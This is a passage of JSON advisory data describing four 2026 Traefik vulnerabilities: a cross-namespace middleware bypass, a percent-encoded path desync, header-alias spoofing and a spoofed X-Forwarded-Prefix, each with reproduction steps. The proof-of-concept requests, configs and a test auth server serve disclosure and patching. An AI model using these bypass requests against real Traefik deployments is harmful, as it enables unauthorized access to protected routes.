0hTQS02eDJxLWgzY3ItOGoyaM4ABVxI","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02eDJxLWgzY3ItOGoyaM4ABVxI","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.43","vulnerable_version_range":"\u003c 2.11.43"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.14","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.6.14"},{"first_patched_version":"3.7.0-rc.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-rc.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02eDJxLWgzY3ItOGoyaM4ABVxI/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14aGp3LTk1ZnAtOHZncc4ABVxH","url":"https://github.com/advisories/GHSA-xhjw-95fp-8vgq","title":"Traefik Kubernetes CRD allows unauthorized cross-namespace middleware binding","description":"## Summary\n\nThere is a vulnerability in Traefik's Kubernetes CRD provider cross-namespace isolation enforcement.\n\nWhen `providers.kubernetesCRD.allowCrossNamespace=false`, Traefik correctly rejects direct cross-namespace middleware references from `IngressRoute` objects, but fails to apply the same restriction to middleware references nested inside a `Chain` middleware's `spec.chain.middlewares[]`. An actor with permission to create or update Traefik CRDs in their own namespace can exploit this to cause Traefik to resolve and apply middleware objects from another namespace, bypassing the documented isolation boundary.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nWhen `providers.kubernetesCRD.allowCrossNamespace=false`, Traefik still allows a namespace-local `Middleware` of type `Chain` to reference middleware objects from another namespace via `spec.chain.middlewares[].namespace`.\n\nThis bypasses the documented cross-namespace restriction and allows an actor with permission to create or update Traefik CRDs in namespace A to bind middleware defined in namespace B to routes in namespace A.\n\n### Details\nTraefik documents `allowCrossNamespace` as the control that governs whether `IngressRoute` objects may reference resources in other namespaces.\n\nDirect middleware references from `IngressRoute.routes[].middlewares[]` are validated in `pkg/provider/kubernetes/crd/kubernetes_http.go` by `makeMiddlewareKeys(...)`, which rejects cross-namespace references when `allowCrossNamespace` is disabled.\n\nHowever, nested middleware references inside `Middleware.spec.chain.middlewares[]` follow a different code path. `createChainMiddleware(...)` in `pkg/provider/kubernetes/crd/kubernetes.go` does not receive or enforce `allowCrossNamespace`; it resolves `mi.Namespace` (or defaults to the current namespace) and appends `makeID(ns, mi.Name)` unconditionally.\n\nAt runtime, `pkg/server/middleware/middlewares.go` qualifies and builds `config.Chain.Middlewares`, so the cross-namespace middleware is actually loaded and used.\n\nThis was verified on the current `master` at commit `786f7192e11878dfaa634f8263bf79bb730a71cb`.\n\nThis appears related to earlier cross-namespace hardening work, but the surviving issue is a distinct nested `Chain` middleware code path rather than the already-guarded direct reference path.\n\n### Expected behavior\nWhen `providers.kubernetesCRD.allowCrossNamespace=false`, any middleware reference that resolves to an object in another namespace should be rejected, whether referenced directly from an `IngressRoute` or indirectly through a local `Chain` middleware.\n\n### Actual behavior\nA namespace-local `Chain` middleware can reference `spec.chain.middlewares[].namespace` in another namespace, and Traefik resolves and applies that middleware even when cross-namespace references are disabled.\n\n### Attacker prerequisites\nThe attacker must have permission to create or update Traefik CRDs in a namespace they control, but does not need permission to modify resources in the target namespace.\n\n### PoC\n1. Run Traefik with the Kubernetes CRD provider and set `allowCrossNamespace: false`.\n\n2. Create two namespaces, for example `default` and `cross-ns`.\n\n3. Apply a middleware in `cross-ns`:\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: victim-strip\n  namespace: cross-ns\nspec:\n  stripPrefix:\n    prefixes:\n      - /secret\n```\n\n4. Apply a chain middleware in `default` that references the middleware above:\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: Middleware\nmetadata:\n  name: mychain\n  namespace: default\nspec:\n  chain:\n    middlewares:\n      - name: victim-strip\n        namespace: cross-ns\n```\n\n5. Apply an `IngressRoute` in `default` that references only the local `mychain` middleware:\n\n```yaml\napiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n  name: demo\n  namespace: default\nspec:\n  entryPoints:\n    - web\n  routes:\n    - match: Host(`example.test`) \u0026\u0026 PathPrefix(`/demo`)\n      kind: Rule\n      middlewares:\n        - name: mychain\n      services:\n        - name: whoami\n          port: 80\n```\n\n6. Observe that Traefik accepts the configuration and resolves the resulting chain to the middleware from `cross-ns` even though `allowCrossNamespace` is disabled.\n\n7. As a control, replace the local chain reference in the `IngressRoute` with a direct cross-namespace middleware reference. That direct reference is rejected when `allowCrossNamespace=false`, which indicates the bypass is specific to nested `Chain` middleware resolution.\n\n### Impact\n\nThis is an authorization / trust-boundary bypass in Traefik's Kubernetes CRD provider.\n\nClusters that rely on providers.kubernetesCRD.allowCrossNamespace=false for namespace isolation are affected. An actor who is allowed to create or update Traefik CRDs in their own namespace can still cause Traefik to apply middleware from another namespace by referencing it indirectly through a local Chain middleware.\n\nThe practical impact depends on which middleware objects exist in the other namespace, but this can allow unauthorized reuse of security-sensitive or policy-bearing middleware across namespace boundaries. Examples include request modification, header manipulation, authentication or forward-auth related behavior, and other traffic-handling policies that were intended to remain namespace-scoped.\n\nTesters have not verified unauthenticated remote compromise, code execution, or universal cross-tenant data exposure. The core issue is that a documented isolation control can be bypassed through the nested Chain middleware reference path.\n\n\u003c/details\u003e","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-04-24T20:12:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-xhjw-95fp-8vgq","https://github.com/traefik/traefik/commit/df00d82fc7f12e07199551832b54de6d0e55414d","https://github.com/traefik/traefik/releases/tag/v2.11.43","https://github.com/traefik/traefik/releases/tag/v3.6.14","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","https://nvd.nist.gov/vuln/detail/CVE-2026-41174","https://github.com/advisories/GHSA-xhjw-95fp-8vgq"],"source_kind":"github","identifiers":["GHSA-xhjw-95fp-8vgq","CVE-2026-41174"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T21:00:09.012Z","updated_at":"2026-10-16T06:03:54.775Z","epss_percentage":0.00275,"epss_percentile":0.18551,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGp3LTk1ZnAtOHZncc4ABVxH","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14aGp3LTk1ZnAtOHZncc4ABVxH","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.43","vulnerable_version_range":"\u003c 2.11.43"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.14","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.6.14"},{"first_patched_version":"3.7.0-rc.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-rc.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14aGp3LTk1ZnAtOHZncc4ABVxH/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02and4LTd2cDQtOTg0N84ABVw-","url":"https://github.com/advisories/GHSA-6jwx-7vp4-9847","title":"Traefik has an StripPrefixRegex Middleware Authorization Bypass via Path/RawPath Desync","description":"## Summary\n\nThere is a high severity authentication bypass vulnerability in Traefik's `StripPrefixRegex` middleware when used in combination with `ForwardAuth`, `BasicAuth`, or `DigestAuth`.\n\nThe middleware matches the regex against the decoded URL path but uses the resulting byte length to slice the percent-encoded raw path. When a dot (or multiple dots) appears in the prefix portion of the URL, the raw path after stripping becomes a dot-segment (e.g. `/./admin/secret`).\n\n`ForwardAuth` receives this dot-segment path in `X-Forwarded-Uri`, which does not match the protected path patterns and therefore allows the request through. The backend then normalizes the dot-segment to the real path per RFC 3986 and serves the protected content\n\n An unauthenticated attacker can exploit this against any backend that performs dot-segment normalization.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n\n  StripPrefixRegex uses the byte length of a decoded Path match to slice the encoded RawPath. When percent-encoded characters are in the prefix region, this produces a wrong RawPath. ForwardAuth then\n  receives this wrong path in X-Forwarded-Uri, sees a path that doesn't match its protection rules, and approves the request. The backend serves protected content.\n\n ### Details\n\n  `pkg/middlewares/stripprefixregex/strip_prefix_regex.go`, line 62:\n\n  ```go\n  req.URL.RawPath = ensureLeadingSlash(req.URL.RawPath[len(prefix):])\n```\n\n  prefix comes from matching the regex against the decoded req.URL.Path (line 51). len(prefix) is then used to index into the encoded req.URL.RawPath. These lengths don't match when percent-encoding is\n  present.\n\n  Example with regex ^/api:\n\n  - GET /api%20/admin/secret\n  - Decoded Path: /api /admin/secret -\u003e prefix = /api (4 bytes)\n  - Encoded RawPath: /api%20/admin/secret -\u003e same region is 6 bytes\n  - RawPath[4:] = %20/admin/secret -\u003e after ensureLeadingSlash -\u003e /%20/admin/secret\n  - ForwardAuth sees X-Forwarded-Uri: /%20/admin/secret -\u003e not /admin/* -\u003e allows it\n  - Backend serves the protected admin content\n\n  PoC\n\n  Requires Docker and Docker Compose. I have a setup that runs Traefik v3.6.11 with StripPrefixRegex + ForwardAuth + a backend. It sends a normal request (blocked, 403) and an encoded request (bypasses\n  auth, 200, returns protected data). Can share the files here if useful.\n\n  Impact\n\n  Auth bypass. Any path protected by ForwardAuth, BasicAuth, or DigestAuth can be accessed without credentials when StripPrefixRegex is in the same middleware chain. The attacker only needs to add a\n  percent-encoded character to the prefix portion of the URL.\n\n---\n\n### Updated PoC (reporter follow-up)\n\nAfter further testing, the confirmed working exploit uses `%2e` (percent-encoded dot) rather than `%20`. Dot-segment normalization (`/./` -\u003e `/`) is RFC 3986 standard behavior handled automatically by Express.js, Go's `http.ServeMux`, Spring Boot, and others — no custom configuration needed.\n\nChain:\n\n```\nGET /api%2e/admin/secret\n-\u003e StripPrefixRegex strips /api -\u003e RawPath becomes /./admin/secret\n-\u003e ForwardAuth sees /./admin/secret -\u003e does not match /admin/ -\u003e allows\n-\u003e Express normalizes /./admin/secret -\u003e /admin/secret -\u003e serves protected content\n```\n\nResults (Traefik v3.6, unmodified Express.js express.static):\n\n```\nGET /api/admin/secret      -\u003e 403 (blocked)\nGET /api%2e/admin/secret   -\u003e 200 (bypass — served protected content)\nGET /api%20/admin/secret   -\u003e 404 (space not normalized by backend)\n```\n\nAuth server logs:\n\n```\nX-Forwarded-Uri: '/admin/secret'    -\u003e DENIED\nX-Forwarded-Uri: '/./admin/secret'  -\u003e ALLOWED\n```\n\nReproduction:\n\n```bash\ndocker compose up -d --build --wait\ncurl http://localhost:8080/api/admin/secret                       # -\u003e 403\ncurl --path-as-is \"http://localhost:8080/api%2e/admin/secret\"     # -\u003e 200\n```\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-24T16:37:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-6jwx-7vp4-9847","https://github.com/traefik/traefik/releases/tag/v2.11.43","https://github.com/traefik/traefik/releases/tag/v3.6.14","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","https://nvd.nist.gov/vuln/detail/CVE-2026-40912","https://access.redhat.com/errata/RHSA-2026:21772","https://access.redhat.com/security/cve/CVE-2026-40912","https://bugzilla.redhat.com/show_bug.cgi?id=2464229","https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-40912.json","https://github.com/advisories/GHSA-6jwx-7vp4-9847"],"source_kind":"github","identifiers":["GHSA-6jwx-7vp4-9847","CVE-2026-40912"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T17:00:08.901Z","updated_at":"2026-10-12T12:05:14.954Z","epss_percentage":0.0072,"epss_percentile":0.52526,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02and4LTd2cDQtOTg0N84ABVw-","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02and4LTd2cDQtOTg0N84ABVw-","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.43","vulnerable_version_range":"\u003c 2.11.43"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.14","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.6.14"},{"first_patched_version":"3.7.0-rc.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-rc.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02and4LTd2cDQtOTg0N84ABVw-/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01bTZ3LXd2aDctNTd2bc4ABVw7","url":"https://github.com/advisories/GHSA-5m6w-wvh7-57vm","title":"Traefik: Pre-authentication decision bypass due to forwarded alias spoofing","description":"## Summary\n\nThere is a high severity authentication bypass vulnerability in Traefik's `ForwardAuth` and snippet-based authentication middleware. Traefik's forwarded-header sanitization logic targets only canonical header names (e.g., `X-Forwarded-Proto`) and does not strip or normalize alias variants that use underscores instead of dashes (e.g., `X_Forwarded_Proto`). These unsanitized alias headers are forwarded intact to the authentication backend. When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\nAn authentication bypass arises from chaining two bugs: incomplete forwarded-header sanitization at ingress and overly permissive header forwarding in pre-auth subrequests. While canonical `X-Forwarded-*` headers are handled, alias variants (e.g., underscore forms) are neither normalized nor stripped consistently. When downstream auth services normalize these headers, attackers can inject trusted context and bypass authentication on protected routes without credentials.\n\n### Details\nThis issue results from the interaction between forwarded-header handling and auth subrequest construction, creating a trust boundary mismatch.\n\nAt ingress, Traefik defines a fixed set of canonical forwarded headers (`X-Forwarded-Proto`, `X-Forwarded-For`, etc.):\n\nReference : [`pkg/middlewares/forwardedheaders/forwarded_header.go#L29-L36`](https://github.com/traefik/traefik/blob/174e5d81111d8e9fb3d3c81cf6d22f3e33eb4f78/pkg/middlewares/forwardedheaders/forwarded_header.go#L29-L36)\n\n```go\nvar xHeaders = []string{\n\txForwardedProto,\n\txForwardedFor,\n\txForwardedHost,\n\txForwardedPort,\n```\n\nThis logic focuses exclusively on canonical header names and does not account for alias forms such as `X_Forwarded_Proto`. As a result, while standard headers may be sanitized or rewritten, semantically equivalent variants can pass through unchanged.\n\nDuring ForwardAuth processing, request headers are copied wholesale into the auth subrequest:\n\nReference : [`pkg/middlewares/auth/forward.go#L401-L408`](https://github.com/traefik/traefik/blob/174e5d81111d8e9fb3d3c81cf6d22f3e33eb4f78/pkg/middlewares/auth/forward.go#L401-L408)\n\n```go\nutils.CopyHeaders(forwardReq.Header, req.Header)\nRemoveConnectionHeaders(forwardReq)\nutils.RemoveHeaders(forwardReq.Header, hopHeaders...)\n```\n\nThis implementation forwards nearly all client-supplied headers to the auth backend, with filtering limited to hop-by-hop headers. There is no normalization or deduplication between canonical and alias header forms, meaning attacker-controlled headers can reach the auth service intact.\n\nA similar pattern exists in snippet-based auth:\n\nReference : [`pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581`](https://github.com/traefik/traefik/blob/174e5d81111d8e9fb3d3c81cf6d22f3e33eb4f78/pkg/middlewares/ingressnginx/snippet/snippet.go#L574-L581)\n\n```go\nutils.CopyHeaders(forwardReq.Header, req.Header)\nRemoveConnectionHeaders(forwardReq)\nutils.RemoveHeaders(forwardReq.Header, hopHeaders...)\n```\n\nAgain, headers are forwarded without enforcing a consistent trust model or canonicalization.\n\nThe vulnerability emerges when the auth backend normalizes header names (e.g., treating `X_Forwarded_Proto` and `X-Forwarded-Proto` equivalently). In that case:\n\n- Traefik sanitizes only canonical headers.\n- Alias headers remain attacker-controlled.\n- The auth service merges or evaluates these aliases during normalization.\n- Trust predicates (e.g., scheme = HTTPS, trusted host) are satisfied using spoofed values.\n\nThis allows a single crafted request to simultaneously bypass ingress trust enforcement and satisfy authentication checks, resulting in unauthorized access to protected backends.\n\n### PoC\n\n1. Configure a protected route using ForwardAuth or snippet-based auth, with an auth backend that normalizes header names (underscore ↔ dash).\n2. Send a control request (expected: denied):\n\n```http\nGET / HTTP/1.1\nHost: target.local\nUser-Agent: poc-control\nConnection: close\n```\n\n3. Send an exploit request with alias headers (expected: allowed):\n\n```http\nGET /protected HTTP/1.1\nHost: app.example.local\nX_Forwarded_Proto: https\nX_Forwarded_Host: trusted.example\nConnection: close\n```\n\n### Impact\nThis vulnerability allows unauthenticated attackers to bypass authentication at the proxy-to-auth boundary by injecting spoofed trust context through header aliases. In deployments where authorization decisions depend on forwarded headers, attackers can access protected endpoints and interact with backend services as if they were fully authenticated. This effectively undermines ForwardAuth and similar mechanisms, potentially exposing sensitive internal functionality and data.\n\n### Suggested Remediation\n1. Strip and regenerate both canonical and alias forms of forwarded headers consistently at ingress and during auth subrequests.\n2. Apply a unified normalization policy across all forwarded header families (including RFC7239 and `X-Forwarded-*`).\n3. Restrict which headers are forwarded to auth services (prefer explicit allowlists).\n4. Add regression tests covering alias normalization inconsistencies across common backend frameworks.\n\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-04-24T16:32:34.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","references":["https://github.com/traefik/traefik/security/advisories/GHSA-5m6w-wvh7-57vm","https://github.com/traefik/traefik/releases/tag/v2.11.43","https://github.com/traefik/traefik/releases/tag/v3.6.14","https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2","https://nvd.nist.gov/vuln/detail/CVE-2026-39858","https://github.com/advisories/GHSA-5m6w-wvh7-57vm"],"source_kind":"github","identifiers":["GHSA-5m6w-wvh7-57vm","CVE-2026-39858"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-04-24T17:00:08.924Z","updated_at":"2026-10-14T10:04:55.603Z","epss_percentage":0.00605,"epss_percentile":0.47542,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bTZ3LXd2aDctNTd2bc4ABVw7","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01bTZ3LXd2aDctNTd2bc4ABVw7","packages":[{"ecosystem":"go","package_name":"github.com/traefik/traefik","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 1.7.34"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v2","versions":[{"first_patched_version":"2.11.43","vulnerable_version_range":"\u003c 2.11.43"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv2"},{"ecosystem":"go","package_name":"github.com/traefik/traefik/v3","versions":[{"first_patched_version":"3.6.14","vulnerable_version_range":"\u003e= 3.0.0-beta1, \u003c 3.6.14"},{"first_patched_version":"3.7.0-rc.2","vulnerable_version_range":"\u003e= 3.7.0-ea.1, \u003c 3.7.0-rc.2"}],"purl":"pkg:go/github.com%2Ftraefik%2Ftraefik%2Fv3"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01bTZ3LXd2aDctNTd2bc4ABVw7/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02Mzg0LW0ybXctcmY1NM4ABVw6","url":"https://github.com/advisories/GHSA-6384-m2mw-rf54","title":"Traefik's ForwardAuth trustForwardHeader=false allows spoofed X-Forwarded-Prefix to bypass authentication","description":"## Summary\n\nThere is a high-severity authentication bypass vulnerability in Traefik's `ForwardAuth` middleware when `trustForwardHeader=false` is configured and Traefik is deployed behind a trusted upstream proxy.\n\nWhile `X-Forwarded-*` headers (such as `X-Forwarded-For`, `X-Forwarded-Host`, and `X-Forwarded-Proto`) from trusted context are correctly rebuilt, it does not strip or rebuild `X-Forwarded-Prefix`, leaving any attacker-supplied value intact in the subrequest forwarded to the authentication service.\n\nWhen the authentication service makes authorization decisions based on `X-Forwarded-Prefix`, an external attacker can spoof a trusted prefix value and gain unauthorized access to protected backend routes.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.43\n- https://github.com/traefik/traefik/releases/tag/v3.6.14\n- https://github.com/traefik/traefik/releases/tag/v3.7.0-rc.2\n\n## For more information\n\nIf there are any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n### Summary\n`ForwardAuth` with `trustForwardHeader=false` still forwards an attacker-controlled `X-Forwarded-Prefix` header to the authentication service when Traefik is deployed behind a trusted upstream proxy. If the auth service relies on `X-Forwarded-Prefix` for authorization or routing decisions, an external attacker can bypass access controls and reach protected backend routes.\n\nThis was validated this against Traefik `v3.6.12` using the official Docker image and a minimal local Docker setup. A direct request to Traefik is correctly rejected, but the same request succeeds when sent through a trusted reverse proxy, which shows the issue is in the `ForwardAuth` subrequest handling rather than general ingress header stripping.\n\n### Details\nThe vulnerable behavior comes from the way Traefik builds the subrequest sent to the forward-auth server.\n\nIn [`pkg/middlewares/auth/forward.go`](pkg/middlewares/auth/forward.go), `writeHeader` first copies all incoming request headers into the auth subrequest:\n\n```go\nfunc writeHeader(req, forwardReq *http.Request, trustForwardHeader bool, allowedHeaders []string) {\n    utils.CopyHeaders(forwardReq.Header, req.Header)\n    ...\n    forwardReq.Header = filterForwardRequestHeaders(forwardReq.Header, allowedHeaders)\n```\n\nIt then selectively rebuilds only a subset of forwarded headers when `trustForwardHeader=false`, for example:\n\n- `X-Forwarded-For`\n- `X-Forwarded-Method`\n- `X-Forwarded-Proto`\n- `X-Forwarded-Port`\n- `X-Forwarded-Host`\n- `X-Forwarded-Uri`\n\nHowever, it does **not** remove or rebuild `X-Forwarded-Prefix`, so an attacker-supplied value remains in the auth request even when forwarded headers are supposed to be untrusted.\n\nThis becomes security-relevant when `StripPrefix` is used before `ForwardAuth`. In [`pkg/middlewares/stripprefix/strip_prefix.go`](pkg/middlewares/stripprefix/strip_prefix.go), Traefik appends the stripped prefix using `Header.Add`:\n\n```go\nfunc (s *stripPrefix) serveRequest(rw http.ResponseWriter, req *http.Request, prefix string) {\n    req.Header.Add(ForwardedPrefixHeader, prefix)\n```\n\nIf the attacker already sent `X-Forwarded-Prefix: /admin`, and `StripPrefix` later adds `/forbidden`, the auth service receives both values in this order:\n\n1. `/admin` (attacker-controlled)\n2. `/forbidden` (Traefik-generated)\n\nAn auth service that uses the first `X-Forwarded-Prefix` value can therefore be tricked into authorizing a protected route.\n\nWhy this appears unintended:\n\n- The docs say `trustForwardHeader` means \"Trust all X-Forwarded-* headers\" and defaults to `false`.\n- The migration notes say `X-Forwarded-Prefix` is handled like other `X-Forwarded-*` headers and removed from untrusted sources.\n- The direct-to-Traefik test case behaves consistently with that expectation and returns `403`.\n- Only the auth subrequest path still honors the spoofed `X-Forwarded-Prefix`.\n\nRelevant source/documentation locations:\n\n- `pkg/middlewares/auth/forward.go` lines 393-459\n- `pkg/middlewares/stripprefix/strip_prefix.go` lines 65-68\n- `pkg/middlewares/forwardedheaders/forwarded_header.go` lines 15-43\n- `docs/content/reference/routing-configuration/http/middlewares/forwardauth.md` lines 59-62 and 130-140\n- `docs/content/migrate/v3.md` lines 192-196\n\nThis was only tested and validated with `X-Forwarded-Prefix`. By source review, other forwarded headers that are copied but not rebuilt in `writeHeader` may deserve separate review, but I am not claiming impact for them here.\n\n### PoC\nThe following uses the official `traefik:v3.6.12` Docker image and a mounted `traefik.toml`, matching the documented deployment style.\n\n1. Create `traefik.toml`:\n\n```toml\n[entryPoints]\n  [entryPoints.web]\n    address = \":80\"\n    [entryPoints.web.forwardedHeaders]\n      trustedIPs = [\"172.31.79.0/24\"]\n\n[providers]\n  [providers.file]\n    filename = \"/etc/traefik/dynamic.toml\"\n    watch = false\n\n[log]\n  level = \"DEBUG\"\n\n[accessLog]\n```\n\n2. Create `dynamic.toml`:\n\n```toml\n[http.routers]\n  [http.routers.app]\n    entryPoints = [\"web\"]\n    rule = \"Host(`app.local`) \u0026\u0026 PathPrefix(`/forbidden`)\"\n    middlewares = [\"strip-forbidden\", \"authz\"]\n    service = \"backend\"\n\n[http.middlewares]\n  [http.middlewares.strip-forbidden.stripPrefix]\n    prefixes = [\"/forbidden\"]\n\n  [http.middlewares.authz.forwardAuth]\n    address = \"http://auth:8000/check\"\n    trustForwardHeader = false\n    authResponseHeaders = [\"X-Auth-First-Prefix\", \"X-Auth-All-Prefixes\"]\n\n[http.services]\n  [http.services.backend.loadBalancer]\n    [[http.services.backend.loadBalancer.servers]]\n      url = \"http://backend:80\"\n```\n\n3. Create `auth.py`:\n\n```python\nimport json\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n\nclass Handler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        if not self.path.startswith(\"/check\"):\n            self.send_response(404)\n            self.end_headers()\n            return\n\n        prefixes = self.headers.get_all(\"X-Forwarded-Prefix\") or []\n        first = prefixes[0] if prefixes else \"\"\n        payload = {\n            \"path\": self.path,\n            \"first_prefix\": first,\n            \"all_prefixes\": prefixes,\n            \"x_forwarded_for\": self.headers.get_all(\"X-Forwarded-For\") or [],\n        }\n        print(json.dumps(payload), flush=True)\n\n        if first == \"/admin\":\n            self.send_response(200)\n            self.send_header(\"X-Auth-First-Prefix\", first)\n            self.send_header(\"X-Auth-All-Prefixes\", \"|\".join(prefixes))\n            self.end_headers()\n            self.wfile.write(b\"authorized\\n\")\n            return\n\n        self.send_response(403)\n        self.send_header(\"Content-Type\", \"application/json\")\n        self.end_headers()\n        self.wfile.write(json.dumps(payload).encode() + b\"\\n\")\n\n\nHTTPServer((\"0.0.0.0\", 8000), Handler).serve_forever()\n```\n\n4. Create `frontend.conf`:\n\n```nginx\nserver {\n    listen 80;\n    access_log /dev/stdout;\n\n    location / {\n        proxy_http_version 1.1;\n        proxy_pass http://traefik:80;\n        proxy_set_header Host $http_host;\n        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n    }\n}\n```\n\n5. Start the containers:\n\n```bash\ndocker network create --subnet 172.31.79.0/24 traefik-readme-net\n\ndocker run -d --name traefik-readme-backend \\\n  --network traefik-readme-net \\\n  --network-alias backend \\\n  traefik/whoami\n\ndocker run -d --name traefik-readme-auth \\\n  --network traefik-readme-net \\\n  --network-alias auth \\\n  -v \"$PWD/auth.py:/app/auth.py:ro\" \\\n  -w /app \\\n  python:3.12-alpine \\\n  python /app/auth.py\n\ndocker run -d --name traefik-readme-traefik \\\n  --network traefik-readme-net \\\n  --network-alias traefik \\\n  -p 18081:80 \\\n  -v \"$PWD/traefik.toml:/etc/traefik/traefik.toml:ro\" \\\n  -v \"$PWD/dynamic.toml:/etc/traefik/dynamic.toml:ro\" \\\n  traefik:v3.6.12\n\ndocker run -d --name traefik-readme-frontend \\\n  --network traefik-readme-net \\\n  -p 18080:80 \\\n  -v 